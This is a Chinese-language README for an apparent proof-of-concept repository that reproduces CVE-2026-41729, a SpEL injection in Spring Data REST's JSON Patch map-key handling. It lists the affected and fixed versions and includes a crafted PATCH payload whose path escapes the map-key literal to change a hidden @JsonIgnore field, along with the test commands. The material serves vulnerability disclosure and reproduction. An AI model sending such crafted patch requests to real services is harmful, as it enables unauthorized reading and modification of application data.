此存储库是Spring官方安全公告公开的 CVE-2026-41729 的最小复现PoC。
Spring Data REST SpEL Injection via Map Key in JSON PatchAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NSpring Data REST在处理JSON Patch请求(Content-Type: application/json-patch+json)时,存在将map类型属性的map key路径片段直接插入SpEL表达式的问题。
根据官方公告,如果persistent entity暴露了Map类型属性,且攻击者能够对该item resource发送PATCH请求,则可以操纵map key segment,使其跳出预期的map indexer literal,从而在aggregate root上下文中评估SpEL子表达式。官方公布称,read patch path和write patch path均受影响。
该PoC利用write patch path,展示了通常情况下不在REST表示中暴露的 @JsonIgnore 字段如何通过精心构造的JSON Patch路径被修改。
官方公告中受影响的产品:
受影响版本:
3.7.0 - 3.7.194.3.0 - 4.3.164.4.0 - 4.4.144.5.0 - 4.5.115.0.0 - 5.0.5修复版本:
3.7.204.3.174.4.154.5.12 或 4.5.11.15.0.6 或 5.0.5.1测试会启动一个实际的Spring Boot应用程序,并向Spring Data REST repository endpoint发送HTTP PATCH 请求。
领域对象具有以下结构:
people mapPerson 内部、但被Jackson/Spring Data REST表示隐藏的 hiddenChildren map在普通REST响应中,hiddenChildren及其内部值是不可见的。
GET /wrappers/sample
直接指定隐藏属性的JSON Patch请求将被拒绝。
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
但如果使用精心构造的map key,则可以在Spring Data REST的JSON Patch路径到SpEL路径的转换过程中,跳出预期的map key literal,进而触及隐藏的属性路径。
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
在受影响版本中,此请求会成功,内部值将变为:
before -> after
测试确认了map中并没有创建名为 a'].hiddenChildren['b 的实际key,而是由于表达式逃逸导致隐藏的属性路径被修改。
Windows:
.\mvnw.cmd test
macOS/Linux:
./mvnw test
在受影响版本下预期的结果:
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
测试成功表示“漏洞行为已被复现”。即,在存在漏洞的依赖中,精心构造的JSON Patch请求成功执行,证明了隐藏的内部状态被修改。
此存储库使用Spring Boot 3.5.14 作为父项目,该组合解析得到 spring-data-rest-webmvc 4.5.11。这属于官方公告受影响范围 4.5.0 - 4.5.11 内。
能够向Spring Data REST endpoint发送JSON Patch请求的攻击者可以操纵map key,诱使服务器端执行非预期的SpEL路径评估。其结果是,应用程序本不想通过REST表示暴露的对象图中的内部值可能被读取或修改。
官方公告将机密性和完整性影响评估为High。
官方Spring公告中记录如下: